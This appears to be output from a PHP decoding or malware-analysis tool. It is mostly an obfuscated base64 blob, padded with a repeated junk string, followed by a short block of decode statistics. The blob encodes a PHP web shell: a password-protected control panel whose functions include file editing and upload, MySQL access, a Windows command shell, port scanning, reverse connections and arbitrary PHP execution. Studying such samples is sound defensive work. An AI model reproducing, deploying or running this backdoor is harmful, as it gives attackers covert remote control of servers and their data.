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

Function Calls

None

Variables

None

Stats

MD5 d07ecf56b0854b2708bd647a2dd5ce91
Eval Count 0
Decode Time 21885 ms